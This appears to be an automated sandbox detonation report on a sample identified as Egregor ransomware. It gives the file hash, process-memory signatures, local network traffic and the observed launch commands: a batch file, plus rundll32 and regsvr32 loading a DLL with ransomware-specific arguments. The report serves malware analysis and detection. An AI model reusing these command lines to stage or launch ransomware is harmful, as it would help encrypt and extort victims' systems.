Analysis Overview
SHA256
19ffefca0054a6fccff7721f57e711e881a3ecfde650a7258cf89b5f3c5e95af
Threat Level: Known bad
The file t2.bat.zip was found to be: Known bad.
Malicious Activity Summary
Egregor Ransomware
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2020-11-04 18:12
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2020-11-04 18:12
Reported
2020-11-04 18:43
Platform
win7v20201028
Max time kernel
1579s
Max time network
1578s
Command Line
Signatures
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1912 wrote to memory of 604 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\rundll32.exe |
| PID 1912 wrote to memory of 604 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\rundll32.exe |
| PID 1912 wrote to memory of 604 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\rundll32.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\spr.bat"
C:\Windows\system32\rundll32.exe
rundll32.exe "\\SRV01QW\sp\b.dll",DllRegisterServer --append="carraro" --multiproc
Network
| Country | Destination | Domain | Proto |
| N/A | 10.7.0.93:5355 | udp | |
| N/A | 10.7.0.66:5355 | udp | |
| N/A | 10.7.0.74:5355 | udp | |
| N/A | 10.7.0.78:5355 | udp | |
| N/A | 10.7.0.85:5355 | udp | |
| N/A | 10.7.0.64:5355 | udp | |
| N/A | 10.7.0.87:5355 | udp | |
| N/A | 10.7.0.84:5355 | udp | |
| N/A | 10.7.0.71:5355 | udp | |
| N/A | 10.7.0.69:5355 | udp | |
| N/A | 10.7.0.86:5355 | udp | |
| N/A | 10.7.0.87:5355 | udp | |
| N/A | 10.7.0.64:5355 | udp | |
| N/A | 10.7.0.79:5355 | udp |
Files
memory/604-0-0x0000000000000000-mapping.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2020-11-04 18:12
Reported
2020-11-04 18:43
Platform
win7v20201028
Max time kernel
1743s
Max time network
1744s
Command Line
Signatures
Egregor Ransomware
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1632 wrote to memory of 1172 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1632 wrote to memory of 1172 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1632 wrote to memory of 1172 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1632 wrote to memory of 1172 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1632 wrote to memory of 1172 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1632 wrote to memory of 1172 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 1632 wrote to memory of 1172 | N/A | C:\Windows\system32\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
Processes
C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b.dll
C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\b.dll
Network
Files
memory/1172-0-0x0000000000000000-mapping.dmp
memory/1172-1-0x00000000002D0000-0x000000000030F000-memory.dmp